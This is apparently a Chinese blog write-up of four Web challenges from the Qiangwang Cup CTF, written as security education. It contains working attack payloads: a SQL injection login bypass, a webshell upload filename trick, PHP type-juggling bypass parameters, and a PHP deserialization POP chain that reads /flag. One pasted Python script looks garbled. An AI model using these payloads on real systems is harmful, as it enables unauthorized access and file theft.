zl程序教程

您现在的位置是:首页 >  其他

当前栏目

[网络安全] 四十三.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

2023-03-31 10:33:37 时间

文章目录:

  • 一.EasyWeb 1.题目描述 2.解题思路
  • 二.[强网先锋]寻宝 1.题目描述 2.解题思路
  • 三.[强网先锋]赌徒 1.题目描述 2.解题思路
  • 四.pop_master 1.题目描述 2.解题思路 3.官方解题
  • 五.总结

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该安全系列原文github已开源,如果喜欢也可以支持作者,赚点奶粉钱,哈哈。


个人而言,感觉自己能做出来的主要是这四道题目,因此先结合大佬们的WP复述。下面一些方法是从我这个菜鸟的角度介绍,各位大神见笑,可以帮忙批评和指正,哈哈~

一.EasyWeb

1.题目描述

题目描述如下:

  • 共132支队伍攻克,最后分值67pt

该网站打开如下图所示:

2.解题思路

如果直接访问文件会提示错误。

第一步,从github下载dirsearch工具(Python脚本),这是一个目录扫描工具,目的是扫描网站的敏感文件和目录从而找到突破口。

  • https://github.com/maurosoria/dirsearch
  • 大佬们用啥扫描软件呢?Kali dirb吗?

通过dirsearch扫描目录,自己在目录输入栏输入CMD快速进入。我们发现了敏感文件目录 files

  • -u:指定网址
  • -e:指定网站语言
  • -w:指定字典
  • -r:递归目录(跑出目录后,继续跑目录下面的目录)
  • -random-agents:使用随机UA

第二步,打开files目录发现每个文件对应的路径。

  • http://47.104.137.239/files/
[{"id":1,"path":"c09358adff2ebfff2ef9b4fbacc4ac0b","filename":"hint.txt","date":"5/31/2021, 9:10:29 PM"},
{"id":2,"path":"1c60db40f1f992ff1b8243c1e24dd149","filename":"exp.py","date":"5/31/2021, 9:11:27 PM"},
{"id":3,"path":"da2574de5ac23b656882772a625ba310","filename":"www.zip","date":"5/31/2021, 9:12:44 PM"}]

我蠢蠢的拼接路径,还是无法打开。大概猜测后续需要进一步获取这些敏感文件,但如何获取可能需要提权或其他渗透手段。

下面开始参考Nu1L大神们的WP。哎,自己还是太菜了,哈哈 ^O(∩_∩)O

第三步,我们尝试打开hint目录,可以看到提示去服务器获取文件的信息。

  • http://47.104.137.239/hint
{"hint":"# hint ^_^
	So~ How to get files in this server?

	files/????????????????????????????????"}

第四步,他们扫描发现了后台登录页面,网址如下:

  • http://47.104.137.239:36842/account/login
  • 怎么扫描这个IP地址和目录的呢?
Try to scan 35000-40000 ^_^.
All tables are empty except for the table where the username and password
are located
Table: employ

第五步,发现后台登录存在注入,直接进入后台,使用注入语句如下。

  • 只恨网站关闭不能复现,泪奔 ~~o(>_<)o ~~
' union select 1,2,3,4,5,6,7-- a

第六步,扫描发现存在 file 路由文件上传,经过测试发现文件采用无字符webshell,文件名为 1.p<h<p,即可上传shell。

第七步, jboss 部署 war 包拿 flag。

都是什么神仙操作,有时候看着只差一步,但差之千里,功夫还太浅。 加油吧!少年,多向这些大佬学习。


二.[强网先锋]寻宝

1.题目描述

题目描述如下:

  • 共304支队伍攻克,最后分值31pt

该网站打开如下图所示:

该题目WP参考joker-yan大佬的解题思路,在此感谢,CSDN博友的可以关注他一波。

  • https://blog.csdn.net/weixin_46245411/ article/details/117898565

2.解题思路

该网站包括两个输入框,需要你输入Key1和Key2然后解密。通过信息1和信息2分别获取两段Key值。

第一步,分别下载线索1和线索2。

  • 线索1为source1.php,代码审计
  • 线索2为docx压缩包,需要编写脚本自动遍历。

第二步,分析source1.php源代码,通过bypass获取结果。

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function filter($string){
        $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','$','(','.','num','html','/',',',''','0000000');
        $filter_phrase= '/'.implode('|',$filter_word).'/';
        return preg_replace($filter_phrase,'',$string);
    }

if($ppp){
    unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';

extract($_POST);

$num1 = filter($ppp['number1']);        
$num2 = filter($ppp['number2']);        
$num3 = filter($ppp['number3']);        
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);    

if(isset($num1) && is_numeric($num1)){
    die("非数字");
}

else{
  
    if($num1 > 1024){
    echo "第一层";
        if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
            echo "第二层";
            if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
                echo "第三层";
                if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
                    echo "第四层";
                    if(!isset($num5)||(strlen($num5)==0)) die("no");
                    $b=json_decode(@$num5);
                        if($y = $b === NULL){
                                if($y === true){
                                    echo "第五层";
                                    include 'KeY1lhv.php';
                                    echo $KEY1;
                                }
                        }else{
                            die("no");
                        }
                }else{
                    die("no");
                }
            }else{
                die("no");
            }
        }else{
            die("no");
        }
    }else{
        die("no111");
    }
}
非数字
?>

核心bypass代码如下:

第三步,尝试在本地搭建环境进行bypass五层绕过。

  • 第一层:要求非纯数字且大于1024,利用PHP的格式转换(字符串比较读取)$num1=11111a即可。
  • 第二层:绕过intval函数,利用科学技术法绕过长度小于5。
  • 第三层:substr(md5)取值为某个值,利用脚本运行md5,计算出num3为61823470。
<?php 
	for ($a=60000000;$a<70000000;$a++)
	{
		if(substr(md5($a),0,7)=='4bf21cd')	
		{
			echo $a;
		}
	}
?>
  • 第四层:科学计数法绕过,长度为7且为0,num4为0e00000。
  • 第五层:JSON格式的字符串为空,json_decode在解析非json格式的时候会自动置空NULL,所以很容易绕过,比如num5为a即可。

第四步,最终构造的Payload能绕过source1.php。

ppp[number1]=11111a&&ppp[number2]=3.0e6&ppp[number3]=61823470&
ppp[number4]=0e00000&ppp[number5]=eastmount

此时,我们得到Key1。

  • KEY1{e1e1d3d40573127e9ee0480caf1283d6}

第五步,注意下载该压缩包总失败,我们可以随意使用⼀个支持自动分片下载的下载工具即可,如迅雷。解压后发现是一对docx文件,编写一个Python脚本遍历搜索“KEY2”即可。

方法很多,比如LU神的代码。

再如Nu1L大神的代码。

import glob
import zipfile
import tqdm
from xml.etree.cElementTree import XML

WORD_NAMESPACE = '{http://schemas.openxmlformats.org/wordprocessingml/2006/main}'
PARA = WORD_NAMESPACE + 'p'
TEXT = WORD_NAMESPACE + 't'
def get_docx_text(path):
	document = zipfile.ZipFile(path)
	xml_content = document.read('word/document.xml')
	document.close()
	tree = XML(xml_content)
	
	paragraphs = []
	for paragraph in tree.getiterator(PARA):
		texts = [node.text
				for node in paragraph.getiterator(TEXT)
 				if node.text]
 		if texts:
			paragraphs.append(''.join(texts))
	return '

'.join(paragraphs)
 
files = glob.glob('*/*/*.docx')
for fname in tqdm.tqdm(files):
	res = get_docx_text(fname)
	if 'key2{' in res.lower():
		print(fname, res)
  • KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}

第六步,输入两个KEY值既可以获取最终的flag。

  • flag{798ef6da-41a9-4a14-a8a8-8b6351f3e162}

三.[强网先锋]赌徒

1.题目描述

题目描述如下:

  • 共499支队伍攻克,最后分值20pt

该网站打开如下图所示:

  • I think you need /etc/hint . Before this you need to see the source code

该题目未做出来真的该打,一方面自己对反序列化还是不够深入,另一方面还是自己太菜,后面做50道反序列化题目,然后写篇博客总结吧!

2.解题思路

第一步,结合题目源码提醒,利用dirsearch扫描目录,发现 www.zip 文件。

第二步,该压缩包解压为一个index.php源文件,核心思想是bypass反序列化然后执行hint.php得到flag。

  • unserialize会执行wakeup,需要绕过

index.php

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);

class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
	
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
	
    public function __get($name){
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}
?>

第三步,构造序列化代码生成payload,这里引用Nu1L的代码。

dt-wp.php

<?php
	class Start
	{
	 	public $name;
	 	public function __construct($a){
	 		$this->name=$a;
	 	}
	}
	class Info
	{
	 	public $file;
		public function __construct($b){
			$this->file['filename']=$b;
		}
	}
	class Room
	{
		 public $filename="/flag";
		 public $a;
		 public function __construct(){
		 	$this->filename="/flag";
		 }
		 public function invoke(){
		 	$this->a=new Room();
		 }
	}
	$a=new Room();
	$a->invoke();
	$b=new Info($a);
	$c=new Start($b);
	echo serialize($c);
?>

生成的结果如下图所示,通过该构造即可获取flag。

O:5:"Start":1:{s:4:"name";O:4:"Info":1:{s:4:"file";a:1:{s:8:"filename";O:4:"Room":2:{s:8:"filename";s:5:"/flag";s:1:"a";O:4:"Room":2:{s:8:"filename";s:5:"/flag";s:1:"a";N;}}}}}

PS:由于太菜,还需要消化一段时间,后续作者会深入分析…

  • 从一道CTF题学习PHP反序列化漏洞 - freebuf
  • 记一道CTF反序列化 - CSDN
  • PHP反序列化漏洞总结 - CSDN

四.pop_master

1.题目描述

题目描述如下:

  • 共188支队伍攻克,最后分值49pt

该网站打开如下图所示:

<?php
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->nZepGo($b);

这道题目据说非常有意思,坐等官网和更多大佬的WP。看到官方bibi大神了~

2.解题思路

这里仅放个Nu1L大佬的WP。

from phply import phplex
from phply.phpparse import make_parser
from phply.phpast import *
import pprint
import nose

parser = make_parser()
func_name = "find your func"
con = open("./qwb/class.php").read()
lexer = phplex.lexer.clone()
lexer.filename = None
output = parser.parse(con, lexer=lexer)
functions = {}
target = functions[func_name] i = 0
# 强赋值函数直接跳过
skip_func = []
pop_chain = []
pop_chain.append(func_name) e = False
for out in output:
	class_name = out.name
	for node in out.nodes:
		if(type(node) == Method):
			functions[node.name] = out
while(e is False):
	for node in target.nodes:
		if(type(node) == Method):
			if node.name == func_name:
				for subnode in node.nodes:
					if type(subnode) == MethodCall:
						# print(subnode)
						if(subnode.name in skip_func):
							continue
						target = functions[subnode.name]
						func_name = subnode.name
						pop_chain.append(func_name)
						break
					if(type(subnode) == If):
						# print(subnode)
						if type(subnode.node) == MethodCall :
							# print(subnode.node.name)
							if( subnode.node.name in skip_func):
								continue
							target = functions[subnode.node.name]
							func_name = subnode.node.name
							pop_chain.append(func_name)
							break
						if(type(subnode) == Eval):
							e = True
for pop in pop_chain:
	print("class " + functions[pop].name + "{")
	for node in functions[pop].nodes:
		if(type(node) == ClassVariables):
			for subnode in node.nodes:
				print("public " + subnode.name + ';')
				print("public function __construct(){")
				if i+1 == len(pop_chain):
					print("")
				else:
					print("$this->" + subnode.name[1:] + "= new " + 
					functions[pop_chain[i+1]].name + "();")
				print("}")
	print("}")
	i += 1
	if i == len(pop_chain):
		break

3.官方解题

后续补充官方解题和手撸过程…


五.总结

写到这里,这篇文章就介绍结束了,希望对您有所帮助。希望三年博士毕业后,我不再是WP分享者,而能够通过参赛和学习做出更多的题目,也期待带学生一起比赛的一天,加油!下面简单总结每题知识点。

  • 第一题 EasyWeb 敏感目录扫描+注入漏洞+文件上传+ jboss部署war
  • 第二题 [强网先锋]寻宝 PHP代码审计+Python遍历doc文件+两个KEY解密
  • 第三题 [强网先锋]赌徒 敏感目录扫描+源文件代码审计+反序列化漏洞+bypass构造
  • 第四题 pop_master 坐等官方解密

CTF初学者个人建议:

  • 多做CTF题目,多参加CTF比赛,多交流经验
  • CTF题目推荐BUUCTF,比赛每个月都有很多,大赛小赛,比如XCTF、KCTF、WCTF等
  • 每个优秀的CTF选手都有自己的工具库、脚本库、词典库
  • 多向优秀的安全团队学习,关注他们的公众号,甚至加好友,组队比赛
  • CTF比赛对找工作有帮助,但后续建议和漏洞挖掘实际工作结合起来